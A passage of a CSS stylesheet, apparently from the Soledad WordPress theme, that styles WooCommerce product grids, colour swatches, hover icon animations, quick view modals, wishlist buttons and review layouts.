	padding-right: 0;
	padding-left: 0;
}
.products.product-list .penci-soledad-product .penci-product-loop-top:hover .penci-product-loop-buttons,
.products.product-style-2 .penci-soledad-product .penci-product-loop-top:hover .penci-product-loop-buttons {
	-webkit-transform: translateX(0) translateZ(0);
	transform: translateX(0) translateZ(0);
	opacity: 1;
}
.products.product-style-3 .onsale,
.products.product-style-6 .onsale {
	right: auto;
	left: 10px;
}
.products.product-style-3 .penci-product-loop-title,
.products.product-style-6 .penci-product-loop-title {
	margin-top: 15px;
}
.products.product-style-6 .woocommerce-loop-product__title,
.products.product-style-6 .price {
	text-align: left;
}
.products.product-style-3 .penci-product-loop-buttons,
.products.product-style-6 .penci-product-loop-buttons {
	position: absolute;
	top: 10px;
	right: 10px;
	transition: all 0.3s ease;
	-webkit-transform: translateX(-20px) translateZ(0);
	transform: translateX(-20px) translateZ(0);
	opacity: 0;
	z-index: 9;
}
.products.product-style-3 .penci-product-loop-buttons .penci-product-loop-button,
.products.product-style-6 .penci-product-loop-buttons .penci-product-loop-button {
	display: flex;
	flex-direction: column;
	max-width: none;
	padding-right: 0;
	padding-left: 0;
}
.products.product-style-3 .penci-soledad-product:hover .penci-product-loop-buttons,
.products.product-style-3 .penci-soledad-product.penci-hover .penci-product-loop-buttons,
.products.product-style-6 .penci-soledad-product:hover .penci-product-loop-buttons,
.products.product-style-6 .penci-soledad-product.penci-hover .penci-product-loop-buttons {
	-webkit-transform: translateX(0) translateZ(0);
	transform: translateX(0) translateZ(0);
	opacity: 1;
}
.products.product-style-3 .penci-product-loop-title {
	text-align: center;
}
.products.product-style-3 .penci-soledad-product .penci-swatches-list {
	margin-bottom: 10px;
	justify-content: center;
}
.products.product-style-3 .penci-soledad-product .penci-product-loop-image {
	overflow: hidden;
}
.products.product-style-3 .penci-soledad-product .penci-product-loop-image a.button,
.products.product-style-3 .penci-soledad-product a.add_to_cart_button {
	position: absolute;
	bottom: 0;
	left: 0;
	right: 0;
	z-index: 9;
	opacity: 0.8;
	font-size: var(--pcsl_tt_btn3_size);
	background-color: var(--pcl_3_atc_bg_cl);
	color: var(--pcl_3_atc_txt_cl);
	transform: translate(0, 100%);
	-webkit-transform: translate(0, 100%);
	-moz-transform: translate(0, 100%);
	transition: 0.3s all ease-in-out;
}
.products.product-style-3 .penci-soledad-product .penci-product-loop-image a.button:hover,
.products.product-style-3 .penci-soledad-product a.add_to_cart_button:hover {
	color: var(--pcl_3_atc_txt_hv_cl);
	background-color: var(--pcl_3_atc_bg_hv_cl);
}
@media only screen and (max-width: 767px) {
	.products.product-style-3 .penci-soledad-product .penci-product-loop-image a.button,
	.products.product-style-3 .penci-soledad-product a.add_to_cart_button {
		font-size: var(--pcsl_tt_btn3_m_size);
	}
}
.products.product-style-3 .penci-soledad-product.quick-shop-loaded .penci-product-loop-image a.add_to_cart_button {
	visibility: hidden;
}
.products.product-style-3 .penci-soledad-product.penci-hover a.add_to_cart_button,
.products.product-style-3 .penci-soledad-product:hover a.add_to_cart_button {
	transform: translate(0, 0);
	-webkit-transform: translate(0, 0);
	-moz-transform: translate(0, 0);
}
.products.product-style-3 .penci-soledad-product.penci-hover a.add_to_cart_button:hover,
.products.product-style-3 .penci-soledad-product:hover a.add_to_cart_button:hover {
	opacity: 1;
}
.products.product-style-4 .onsale {
	right: auto;
	left: 10px;
}
.products.product-style-4 .penci-product-loop-title .button.loading:before {
	position: static;
	display: inline-block;
	margin: -2px 10px 0 0;
}
.products.product-style-4 .penci-product-loop-title .button {
	font-size: inherit;
	justify-content: left;
}
.products.product-style-4 .penci-product-loop-title .button.loading:after {
	display: none;
}
.products.product-style-4 .penci-product-loop-title {
	margin-top: 15px;
}
.products.product-style-4 .penci-product-loop-title .button {
	position: absolute;
	top: calc(100% - 35px);
	left: 0;
	min-width: unset;
	height: auto;
	margin: 0;
	padding: 6px 12px;
	background: var(--pcl_4_btn_bg_cl);
	transition: all 0.3s ease;
	-webkit-transform: translateY(15px) translateZ(0);
	transform: translateY(15px) translateZ(0);
	text-align: left;
	text-transform: none;
	opacity: 0;
	line-height: 1.3;
	color: var(--pcl_4_btn_txt_cl);
	font-size: var(--pcsl_tt_btn4_size);
	display: inline-block;
}
.products.product-style-4 .penci-product-loop-title .button:hover {
	color: var(--pcl_4_btn_txt_hv_cl);
	background: var(--pcl_4_btn_bg_hv_cl);
}
.products.product-style-4 .penci-product-loop-title .button.loading:before {
	background-color: transparent;
}
@media only screen and (max-width: 767px) {
	.products.product-style-4 .penci-product-loop-title .button {
		font-size: var(--pcsl_tt_btn4_m_size);
	}
}
.products.product-style-4 .penci-product-loop-title .price {
	transition: all 0.2s ease-in-out;
	-webkit-transform: translateY(0) translateZ(0);
	transform: translateY(0) translateZ(0);
	opacity: 1;
	display: block;
	margin-top: 0;
}
.products.product-style-4 .penci-soledad-product.penci-hover .penci-product-loop-title .price,
.products.product-style-4 .penci-soledad-product:hover .penci-product-loop-title .price {
	-webkit-transform: translateY(-15px) translateZ(0);
	transform: translateY(-15px) translateZ(0);
	opacity: 0;
}
.products.product-style-4 .penci-soledad-product.penci-hover .penci-product-loop-title .button,
.products.product-style-4 .penci-soledad-product:hover .penci-product-loop-title .button {
	-webkit-transform: translateY(0) translateZ(0);
	transform: translateY(0) translateZ(0);
	opacity: 1;
}
.products.product-style-4 .woocommerce-loop-product__title,
.products.product-style-4 .price {
	text-align: left;
}
.products.product-style-4 .penci-product-loop-buttons {
	position: absolute;
	top: 10px;
	right: 10px;
	transition: all 0.3s ease;
	-webkit-transform: translateX(-20px) translateZ(0);
	transform: translateX(-20px) translateZ(0);
	opacity: 0;
	z-index: 99;
}
.products.product-style-4 .penci-product-loop-buttons .penci-product-loop-button {
	display: flex;
	flex-direction: column;
	max-width: none;
	padding-right: 0;
	padding-left: 0;
}
.products.product-style-4 .penci-swatches-list {
	margin-bottom: 10px;
}
.products.product-style-4 .penci-soledad-product.penci-hover .penci-product-loop-buttons,
.products.product-style-4 .penci-soledad-product:hover .penci-product-loop-buttons {
	-webkit-transform: translateX(0) translateZ(0);
	transform: translateX(0) translateZ(0);
	opacity: 1;
}
.products.product-style-5 .penci-product-loop-top {
	position: relative;
}
.products.product-style-5 .penci-product-loop-top:before {
	position: absolute;
	z-index: 1;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	content: "";
	transition: all 0.3s ease;
	background-color: transparent;
}
.products.product-style-5 .penci-product-loop-top .penci-product-loop-extra-buttons {
	position: absolute;
	z-index: 2;
	top: 50%;
	right: auto;
	left: auto;
	width: 100%;
	text-align: center;
}
.products.product-style-5 .penci-product-loop-top .penci-product-loop-extra-buttons .button {
	display: inline-block;
	padding-right: 15px;
	padding-left: 15px;
	transition: all 0.3s ease;
	-webkit-transform: translateY(0) translateZ(0);
	transform: translateY(0) translateZ(0);
	opacity: 0;
	color: var(--pcl_5_btn_txt_cl);
	border: 2px solid var(--pcl_5_btn_bd_cl);
	background-color: var(--pcl_5_btn_bg_cl);
	line-height: 38px;
	margin-top: 0;
	font-size: var(--pcsl_tt_btn5_size);
}
@media only screen and (max-width: 767px) {
	.products.product-style-5 .penci-product-loop-top .penci-product-loop-extra-buttons .button {
		font-size: var(--pcsl_tt_btn5_m_size);
	}
}
.products.product-style-5 .penci-product-loop-top .penci-product-loop-extra-buttons .button.loading {
	color: transparent;
}
.products.product-style-5 .penci-product-loop-top .penci-product-loop-extra-buttons .button.loading:hover .penci-loading-icon .bubble:after {
	background-color: var(--pctext-cl);
}
.products.product-style-5 .onsale {
	right: auto;
	left: 10px;
}
.products.product-style-5 .penci-product-loop-title {
	margin-top: 15px;
	text-align: center;
}
.products.product-style-5 .penci-product-loop-title .penci-swatches-list {
	justify-content: center;
	margin-bottom: 10px;
}
.products.product-style-5 .penci-product-loop-buttons {
	position: absolute;
	z-index: 3;
	top: 0;
	right: 0;
	transition: all 0.3s ease;
	-webkit-transform: translateX(-20px) translateZ(0);
	transform: translateX(-20px) translateZ(0);
}
.products.product-style-5 .penci-product-loop-buttons .penci-product-loop-button {
	display: flex;
	flex-direction: column;
	max-width: none;
	padding-right: 0;
	padding-left: 0;
	background-color: transparent;
	box-shadow: none;
}
.products.product-style-5 .penci-product-loop-buttons .penci-product-loop-button .button,
.products.product-style-5 .penci-product-loop-buttons .penci-product-loop-button .button:hover {
	background-color: transparent;
}
.woocommerce ul.products.product-style-5 .penci-product-loop-buttons .penci-product-loop-button a.loading:after {
	border-left-color: var(--pcl_o_btn_cl);
	border-top-color: var(--pcl_o_btn_cl);
}
.woocommerce ul.products.product-style-5 .penci-product-loop-buttons .penci-product-loop-button a:before,
.woocommerce ul.products.product-style-5 .penci-product-loop-buttons .penci-product-loop-button a:hover:before {
	color: var(--pcl_o_btn_cl);
}
.products.product-style-5 .penci-soledad-product .penci-product-loop-top:hover:before {
	background-color: var(--pcl_o_bg);
	opacity: var(--pcl_o_opacity);
}
.productsproduct-style-5 .penci-soledad-product .penci-product-loop-top:hover .penci-product-loop-buttons {
	-webkit-transform: translateX(0) translateZ(0);
	transform: translateX(0) translateZ(0);
	opacity: 1;
}
.products.product-style-5 .penci-soledad-product .penci-product-loop-top:hover .penci-product-loop-extra-buttons .button {
	-webkit-transform: translateY(-20px) translateZ(0);
	transform: translateY(-20px) translateZ(0);
	opacity: 1;
}
.products.product-style-5 .penci-product-loop-extra-buttons .button:hover {
	color: var(--pcl_5_btn_txt_hv_cl);
	background-color: var(--pcl_5_btn_bg_hv_cl);
	border-color: var(--pcl_5_btn_bd_hv_cl);
}
.products.product-style-6 .penci-product-loop-inner-content {
	background-color: var(--pcl_6_bg_cl);
	box-shadow: 0 0 4px rgba(0, 0, 0, 0.12);
	margin: 2px;
}
.products.product-style-6 .penci-product-loop-inner-content .penci-loop-title a {
	color: var(--pcl_6_tt_cl);
}
.products.product-style-6 .penci-product-loop-inner-content .penci-product-cats a {
	color: var(--pcl_6_l_cl);
}
.products.product-style-6 .penci-product-loop-inner-content .penci-product-cats a:hover {
	color: var(--pcl_6_lhv_cl);
}
.products.product-style-6 .penci-soledad-product .penci-product-loop-inner-content .price {
	color: var(--pcl_6_price_cl);
}
.products.product-style-6 .penci-product-loop-inner-content .penci-product-loop-title {
	padding: 0 15px 15px;
}
.products.product-style-6 .penci-soledad-product .penci-swatches-list {
	margin-bottom: 10px;
}
.products .penci-soledad-product .penci-swatches-list {
	align-items: center;
}
.products .penci-soledad-product .penci-stock-progress-bar {
	margin-top: 15px;
}
.products .penci-soledad-product h3,
.products .penci-soledad-product .woocommerce-loop-product__title {
	margin-bottom: 5px;
}
.products.product-standard .penci-soledad-product h3,
.products.product-standard .penci-soledad-product .woocommerce-loop-product__title {
	margin-top: 10px;
	text-align: center;
}
.products .penci-soledad-product .price {
	margin-top: 10px;
}
.products.product-standard .penci-soledad-product .price {
	display: block;
	text-align: center;
}
.products.product-standard .penci-soledad-product .button {
	display: block;
	margin: 0 auto;
}
.products.product-style-5 .penci-soledad-product .price {
	margin-top: 5px;
}
.products .penci-soledad-product .price ins,
.products .penci-soledad-product .price {
	font-weight: bold;
	text-decoration: none;
	color: var(--pccat_price_cl);
}
.products .penci-soledad-product .price del {
	opacity: 0.5;
	color: inherit;
}
.products .penci-soledad-product .penci-product-cats {
	margin-bottom: 7px;
}
.products.product-style-1 .penci-soledad-product .penci-product-cats,
.products.product-style-1 .penci-soledad-product .star-rating,
.products.product-standard .penci-soledad-product .penci-product-cats {
	text-align: center;
}
.products .penci-product-cats a {
	color: var(--pccat_cat_cl);
}
.products .penci-product-cats a:hover {
	color: var(--pccat_cat_hv_cl);
}
.penci-soledad-product .penci-swatches-list {
	display: flex;
	margin: 10px -4px 0;
}
.products.product-list .penci-soledad-product .penci-swatches-list {
	margin-bottom: 10px;
}
.products.product-style-1 .penci-soledad-product .penci-swatches-list {
	margin: 0 -3px 10px;
}
.penci-soledad-product .penci-swatches-list .penci-swatch-item {
	font-size: 0;
	display: inline-flex;
	width: 15px;
	height: 18px;
	margin: 0 4px;
	cursor: pointer;
	text-indent: -999999px;
	border-radius: 50%;
	background-color: #f1f1f1;
	box-shadow: 0 1px 1px 0 rgba(55, 55, 55, 0.1);
}
.penci-soledad-product .penci-swatches-list .penci-swatch-item.no-user-swatch,
.penci-soledad-product .penci-swatches-list .penci-swatch-item.label {
	text-indent: 0;
	font-size: 13px;
	line-height: 16px;
	text-align: center;
	justify-content: center;
	border-radius: 0;
	padding: 0 6px;
	width: auto;
	background-color: var(--pcbg-cl);
	border: 1px solid var(--pcpage_gbdr_cl);
}
.penci-soledad-product .penci-swatches-list .penci-swatch-item.swatch-with-bg {
	font-size: 0;
	line-height: 0;
	width: 16px;
	height: 16px;
	margin: 0 4px;
	cursor: pointer;
	text-indent: -999999px;
	border-radius: 50%;
	border: 0;
	padding: 0;
	background-color: transparent;
	box-shadow: 0 0 0 0 transparent;
	transition: all 0.3s ease-in-out;
}
.penci-soledad-product .penci-swatches-list .penci-swatch-item.swatch-with-bg.bg-image {
	width: 20px;
	height: 20px;
	border-radius: 0;
	background-size: cover;
}
.penci-soledad-product.loading-image .penci-swatches-list .penci-swatch-item {
	pointer-events: none;
}
.penci-soledad-product.active-custom-swatches .penci-swatches-list .penci-swatch-item:not(.swatch-with-bg) {
	opacity: .5;
}
.penci-soledad-product .penci-swatches-list .penci-swatch-item:hover {
	opacity: .75;
}
.penci-soledad-product.active-custom-swatches .penci-swatches-list .penci-swatch-item.active-swatches {
	opacity: 1;
}
.penci-soledad-product .penci-swatches-list .penci-swatch-item.swatch-with-bg:hover,
.penci-soledad-product .penci-swatches-list .penci-swatch-item.swatch-with-bg.active-swatches {
	box-shadow: 0 0 0 1px var(--pcpage_gbdr_cl), inset 0 0 0 2px var(--pcbg-cl);
}
.penci-soledad-product .penci-swatches-divider {
	cursor: pointer;
	line-height: 15px;
	margin: 0 4px;
	transition: all 0.3s;
}
.penci-soledad-product .penci-swatches-divider:hover {
	opacity: 0.6;
}
.products.product-style-7 .penci-product-loop-title {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 9;
	color: #fff;
	padding: 15px 48px;
	display: flex;
	flex-wrap: wrap;
	flex-direction: column;
	justify-content: center;
	text-align: center;
	transition: 0.3s all ease-in-out;
	opacity: 0;
	visibility: hidden;
}
.products.product-style-7 .penci-product-loop-title:before {
	content: '';
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	background-color: var(--pcl_o_bg);
	opacity: var(--pcl_o_opacity);
	position: absolute;
	z-index: -1;
}
.products.product-style-7 .penci-soledad-product.penci-hover .penci-product-loop-title,
.products.product-style-7 .penci-soledad-product:hover .penci-product-loop-title {
	opacity: 1;
	visibility: visible;
}
.products.product-style-7.icon-style-round.icon-align-vertical .penci-product-loop-buttons {
	position: absolute;
}
.products.product-style-7.icon-style-round.icon-align-vertical .penci-product-loop-button,
.products.product-style-7.icon-style-round.icon-align-vertical .penci-product-loop-button a {
	background-color: transparent;
}
.products.product-style-7 .price,
.products.product-style-7 .penci-product-loop-title a {
	color: var(--pcl_o_tt_cl);
}
.products.product-style-7 .penci-product-loop-title .penci-product-cats a {
	color: var(--pcl_o_l_cl);
}
.products.product-style-7 .penci-product-loop-title .penci-product-cats a:hover {
	color: var(--pcl_o_lhv_cl);
}
.products.product-style-7.icon-align-horizontal .penci-product-loop-buttons {
	margin-top: 15px;
}
.products.product-style-7 .penci-swatches-list {
	justify-content: center;
}
.products.product-style-7.icon-align-horizontal .penci-product-loop-buttons .penci-product-loop-button,
.products.product-style-7.icon-align-horizontal .penci-product-loop-buttons .penci-product-loop-button a.button {
	background-color: transparent;
	box-shadow: none;
}
.products.product-style-7 .penci-product-loop-buttons .penci-product-loop-button a.button:before {
	color: var(--pcheading-cl);
}
.products.product-style-7.icon-style-round .penci-product-loop-buttons .penci-product-loop-button a.button:before {
	color: var(--pcl_o_btn_cl);
}
.products.product-style-7 .penci-product-loop-buttons .penci-product-loop-button a.button.loading:after {
	border-left-color: var(--pcl_o_btn_cl);
}
.products.product-style-7.icon-style-group.icon-align-vertical .penci-product-loop-buttons {
	position: absolute;
}
.penci-soledad-product.style-7 .penci-swatches-list .penci-swatch-item.no-user-swatch,
.penci-soledad-product.style-7 .penci-swatches-list .penci-swatch-item.label {
	color: #111;
}
.products.icon-align-horizontal .penci-product-loop-buttons {
	left: 10px;
	right: 10px;
}
.products.icon-align-horizontal .penci-product-loop-buttons .penci-product-loop-button {
	flex-direction: row;
	justify-content: center;
	padding: 0 8px;
}
.products.icon-align-horizontal .penci-product-loop-buttons .penci-product-loop-button .button {
	flex: 0 0 40px;
}
.products.icon-style-group.icon-align-vertical .penci-product-loop-buttons .penci-product-loop-button {
	flex-direction: column;
}
.products.icon-style-group.icon-align-vertical.icon-position-top-left .penci-product-loop-buttons {
	top: 10px;
	right: auto;
	left: 10px;
}
.products.icon-style-group.icon-align-vertical.icon-position-top-right .penci-product-loop-buttons {
	top: 10px;
	right: 10px;
	left: auto;
}
.products.icon-style-group.icon-align-vertical.icon-position-bottom-left .penci-product-loop-buttons {
	top: auto;
	right: auto;
	left: 10px;
	bottom: 10px;
}
.products.icon-style-group.icon-align-vertical.icon-position-bottom-right .penci-product-loop-buttons {
	top: auto;
	left: auto;
	right: 10px;
	bottom: 10px;
}
.products.icon-style-group .penci-product-loop-buttons {
	transition: 0.3s all ease-in-out;
	opacity: 0;
	visibility: hidden;
}
.products.icon-position-center-top .penci-product-loop-buttons,
.products.icon-position-center-center .penci-product-loop-buttons,
.products.icon-position-center-bottom .penci-product-loop-buttons {
	text-align: center;
}
.products.icon-style-group.icon-animation-move-right .penci-soledad-product .penci-product-loop-buttons {
	transform: translate(-15px, 0);
	-webkit-transform: translate(-15px, 0);
	-moz-transform: translate(-15px, 0);
}
.products.icon-style-group.icon-animation-move-left .penci-soledad-product .penci-product-loop-buttons {
	transform: translate(15px, 0);
	-webkit-transform: translate(15px, 0);
	-moz-transform: translate(15px, 0);
}
.products.icon-style-group.icon-animation-move-top .penci-soledad-product .penci-product-loop-buttons {
	transform: translate(0, 15px);
	-webkit-transform: translate(0, 15px);
	-moz-transform: translate(0, 15px);
}
.products.icon-style-group.icon-animation-move-bottom .penci-soledad-product .penci-product-loop-buttons {
	transform: translate(0, -15px);
	-webkit-transform: translate(0, -15px);
	-moz-transform: translate(0, -15px);
}
.products.icon-style-group.icon-animation-fade .penci-soledad-product .penci-product-loop-buttons {
	transform: translate(0, 0);
	-webkit-transform: translate(0, 0);
	-moz-transform: translate(0, 0);
}
.products.icon-style-group.icon-animation-zoom .penci-soledad-product .penci-product-loop-buttons {
	transform: scale(0.85);
	-webkit-transform: scale(0.85);
	-moz-transform: scale(0.85);
}
.products.icon-style-group .penci-soledad-product.penci-hover .penci-product-loop-buttons,
.products.icon-style-group .penci-soledad-product:hover .penci-product-loop-buttons {
	transform: translate(0, 0) scale(1);
	-webkit-transform: translate(0, 0) scale(1);
	-moz-transform: translate(0, 0) scale(1);
	opacity: 1;
	visibility: visible;
}
/*************************************
 * Product Icon Style
 ************************************/
.products.icon-style-round.icon-align-vertical .penci-product-loop-buttons {
	top: 0;
	right: 0;
	bottom: 5px;
	left: 0;
	display: flex;
	align-content: start;
	flex-wrap: wrap;
	justify-content: start;
	width: 60px;
	padding: 10px;
}
.products.icon-align-vertical .penci-soledad-product .penci-product-loop-button {
	max-width: unset;
}
.products.icon-align-horizontal.icon-position-center-top .penci-product-loop-buttons {
	top: 10px;
	bottom: auto;
	position: absolute;
}
.products.icon-align-horizontal.icon-position-center-center .penci-product-loop-buttons {
	top: 50%;
	bottom: 50%;
	margin-top: -20px;
	position: absolute;
}
.products.icon-align-horizontal.icon-position-center-bottom .penci-product-loop-buttons {
	top: auto;
	bottom: 10px;
	position: absolute;
}
.products.icon-style-round.icon-align-vertical.icon-position-top-right .penci-product-loop-buttons {
	left: auto;
	justify-content: flex-end;
}
.products.icon-style-round.icon-align-vertical.icon-position-bottom-left .penci-product-loop-buttons {
	align-content: flex-end;
}
.products.icon-style-round.icon-align-vertical.icon-position-bottom-right .penci-product-loop-buttons {
	left: auto;
	align-content: flex-end;
	justify-content: flex-end;
}
.products.icon-style-round.icon-align-vertical .penci-product-loop-buttons .button {
	flex: 0 0 40px;
}
.products.icon-style-round.icon-align-vertical .penci-product-loop-button {
	flex-direction: column;
	padding: 0;
}
.products.icon-style-round.icon-align-vertical .penci-product-loop-button .button {
	margin: 0 0 8px;
}
.products.icon-style-round.icon-align-vertical .penci-product-loop-button .button:last-child {
	margin-bottom: 0;
}
.products.icon-style-round .penci-product-loop-buttons {
	transition: all 0.3s cubic-bezier(.645, .045, .355, 1);
	-moz-transform: none;
	-webkit-transform: none;
	transform: none;
}
.products.icon-style-round .penci-product-loop-button {
	transition: all 0.3s cubic-bezier(.645, .045, .355, 1);
	background-color: transparent;
	-moz-box-shadow: none;
	-webkit-box-shadow: none;
	box-shadow: none;
}
.products.icon-style-round .penci-product-loop-button .button {
	visibility: hidden;
	width: 40px;
	height: 40px;
	margin: 0 2px;
	transition: all 0.3s cubic-bezier(0.645, 0.045, 0.355, 1);
	transform: translate3d(0, 0, 0);
	pointer-events: auto;
	opacity: 0;
	border-radius: 50%;
	background-color: var(--pcl_btn_group_bg_color);
}
.products.icon-style-round.icon-align-horizontal .penci-product-loop-button .button {
	margin: 2px;
}
.penci_sidebar .products.columns-4.icon-style-round .penci-product-loop-button .button {
	flex: 0 0 30px;
	width: 30px;
	height: 30px;
}
.penci_sidebar .products.columns-4.products.icon-style-round .penci-product-loop-button .button:before {
	font-size: 12px;
}
.products.icon-style-round.icon-animation-move-left .penci-product-loop-button .button {
	transform: translate3d(15px, 0, 0);
}
.products.icon-style-round.icon-animation-move-right .penci-product-loop-button .button {
	transform: translate3d(-15px, 0, 0);
}
.products.icon-style-round.icon-animation-move-bottom .penci-product-loop-button .button {
	transform: translate3d(0, -15px, 0);
}
.products.icon-style-round.icon-animation-move-top .penci-product-loop-button .button {
	transform: translate3d(0, 15px, 0);
}
.products.icon-style-round.icon-animation-zoom .penci-product-loop-button .button {
	transform: scale(0.5);
}
.products.icon-style-round .penci-soledad-product.penci-hover .penci-product-loop-button .button,
.products.icon-style-round .penci-soledad-product:hover .penci-product-loop-button .button {
	visibility: visible;
	transform: translate3d(0, 0, 0) scale(1);
	opacity: 1;
}
.products.icon-style-round:not(.product-standard) .penci-soledad-product .penci-product-loop-top:hover .star-rating,
.products.icon-style-round:not(.product-standard) .penci-soledad-product .penci-product-loop-top:hover .product-labels {
	opacity: 0;
}
.products.icon-style-round .penci-product-loop-button > a.button.loading:after {
	margin: -2px 0 0 -8px;
}
.penci_sidebar .products.columns-4.icon-style-round .penci-product-loop-button > a.button.loading:after {
	margin: -7px 0 0 -8px;
}
.products.icon-style-round .penci-soledad-product .penci-product-loop-button .button:nth-child(1) {
	transition: transform 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.05s, opacity 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.05s, color 0.3s, background 0.3s;
}
.products.icon-style-round .penci-soledad-product .penci-product-loop-button .button:nth-child(2) {
	transition: transform 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.09s, opacity 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.09s, color 0.3s, background 0.3s;
}
.products.icon-style-round .penci-soledad-product .penci-product-loop-button .button:nth-child(3) {
	transition: transform 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.13s, opacity 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.13s, color 0.3s, background 0.3s;
}
.products.icon-style-round .penci-soledad-product .penci-product-loop-button .button:nth-child(4) {
	transition: transform 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.17s, opacity 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.17s, color 0.3s, background 0.3s;
}
.products.icon-style-round.icon-animation-zoom .penci-soledad-product .penci-product-loop-button .button:nth-child(1) {
	transition: transform 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.05s, opacity 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.05s, color 0.3s, background 0.3s;
}
.products.icon-style-round.icon-animation-zoom .penci-soledad-product .penci-product-loop-button .button:nth-child(2) {
	transition: transform 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.11s, opacity 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.11s, color 0.3s, background 0.3s;
}
.products.icon-style-round.icon-animation-zoom .penci-soledad-product .penci-product-loop-button .button:nth-child(3) {
	transition: transform 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.17s, opacity 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.17s, color 0.3s, background 0.3s;
}
.products.icon-style-round.icon-animation-zoom .penci-soledad-product .penci-product-loop-button .button:nth-child(4) {
	transition: transform 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.23s, opacity 0.3s cubic-bezier(0.645, 0.045, 0.355, 1) 0.23s, color 0.3s, background 0.3s;
}
#yith-quick-view-modal .yith-wcqv-main {
	padding: 40px;
	box-shadow: none;
}
#yith-quick-view-close {
	font-size: 0;
	line-height: 0;
	width: 35px;
	height: 35px;
	opacity: 1;
	color: #f7f7f7;
	border: 0;
	background-color: #333;
}
#yith-quick-view-close:before {
	font-family: "penciicon", serif;
	font-size: 16px;
	font-weight: normal;
	line-height: 35px;
	content: "";
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
#yith-quick-view-close:hover {
	color: white;
	background-color: black;
}
.yith-wcwl-wishlistexistsbrowse .feedback {
	display: none;
}
/*************************************
 * Single Product
 ************************************/
.product.penci-woo-single-center {
	position: relative;
}
.product.penci-woo-single-center .summary.entry-summary {
	text-align: center;
}
.product.penci-woo-single-center form.cart div.quantity,
.product.penci-woo-single-center form.cart .button {
	float: none;
}
.penci-review-style-default {
	display: flex;
	flex-wrap: wrap;
	margin-right: -15px;
	margin-left: -15px;
}
.woocommerce #reviews #comments ol.commentlist {
	padding: 0;
}
.woocommerce #reviews #comments ol.commentlist li {
	list-style: none;
}
.penci-review-style-default #comments,
.penci-review-style-default #review_form_wrapper {
	flex: 0 0 50%;
	max-width: 50%;
	padding-right: 15px;
	padding-left: 15px;
}
.woocommerce div.product .woocommerce-tabs .panel #respond .comment-reply-title {
	margin-top: 0;
}
.woocommerce-accordion-item .penci-review-style-default #comments .woocommerce-Reviews-title,
.product .woocommerce-accordion-item #respond .comment-reply-title {
	margin-top: 15px;
	font-size: var(--pcsl_tt_fs);
	font-family: var(--pchead-font);
	color: #313131;
	clear: both;
	letter-spacing: 0;
	line-height: 1.3em;
	margin-bottom: 15px;
	text-transform: uppercase;
	font-weight: var(--pchead-wei);
	text-align: left;
	display: block;
}
#respond .comment-form-cookies-consent label {
	vertical-align: middle;
}
.penci-extra-buttons .penci-addtowishlist.button,
.summary.entry-summary .compare.button {
	font-size: inherit;
	padding: 0;
	text-transform: none;
	color: inherit;
	background: transparent;
}
.penci-extra-buttons .penci-addtowishlist.button:hover,
.summary.entry-summary .compare.button:hover {
	color: inherit;
	background-color: transparent;
}
.penci-extra-buttons {
	padding-bottom: 15px;
}
.penci-extra-buttons .yith-wcwl-add-to-wishlist,
.penci-extra-buttons .penci-addtowishlist.button,
.penci-extra-buttons .woocommerce.product.compare-button {
	display: inline-block;
}
.woocommerce .penci-extra-buttons > .button {
	margin-right: 20px;
}
.woocommerce .penci-extra-buttons > .button:last-child {
	margin-right: 0;
}
.penci-extra-buttons a,
.penci-extra-buttons .compare.button {
	font-weight: var(--pchead-wei);
	vertical-align: middle;
	color: black;
}
.penci-extra-buttons .penci-addtowishlist.button:before,
.penci-extra-buttons .compare.button:before {
	font-family: "penciicon", serif;
	font-weight: normal;
	/*line-height: 1;*/
	display: inline-block;
	margin-right: 5px;
	content: "\f16a";
	vertical-align: top;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
.penci-extra-buttons .penci-addtowishlist.button:before {
	content: '\f109';
}
.penci-extra-buttons .penci-addtowishlist.button.loading:before,
.penci-extra-buttons .compare.button.loading:before {
	position: static;
	display: inline-block;
	margin: -2px 5px 0 0;
}
.penci-extra-buttons .penci-addtowishlist.button.added:before,
.penci-extra-buttons .compare.button.added:before {
	content: '\f111';
}
.penci-extra-buttons .penci-addtowishlist.button.added:after,
.penci-extra-buttons .compare.button.added:after {
	display: none;
}
.penci-extra-buttons .penci-addtowishlist.button.loading:after,
.penci-extra-buttons .compare.button.loading:after {
	display: none;
}
.products.columns-4 .product {
	margin-bottom: 30px;
}
/*************************************
 * Penci Quickview
 ************************************/
.penci-content-quickview {
	position: relative;
	width: auto;
	max-width: var(--pc-woo-quick-view-width);
	margin: 20px auto;
	padding: 20px;
	-moz-transition: all 0.3s ease;
	-webkit-transition: all 0.3s ease;
	transition: all 0.3s ease;
	-webkit-transform: translateY(100px);
	transform: translateY(100px);
	opacity: 0;
	background: var(--pcbg-cl);
}
.penci-content-quickview .woocommerce-product-gallery__image > a,
.penci-content-quickview .penci-product-gallery-slider .woocommerce-product-gallery__image > a {
	pointer-events: none;
}
.penci-content-quickview button.mfp-close,
.penci-content-quickview button.mfp-arrow {
	line-height: 40px;
	top: 0;
	right: 0;
	width: 40px;
	height: 40px;
	transition: all 0.3s;
	opacity: 1;
	color: var(--pctext-cl);
	background: none;
	font-size: 32px;
	opacity: 0.7;
}
.penci-content-quickview button.mfp-close:hover,
.penci-content-quickview button.mfp-arrow:hover {
	opacity: 0.6;
}
.penci-content-quickview .product {
	overflow: hidden;
}
.penci-content-quickview .product.hide-variable .woocommerce-variation-description {
	display: none;
}
.woocommerce .penci-content-quickview div.product {
	display: flex;
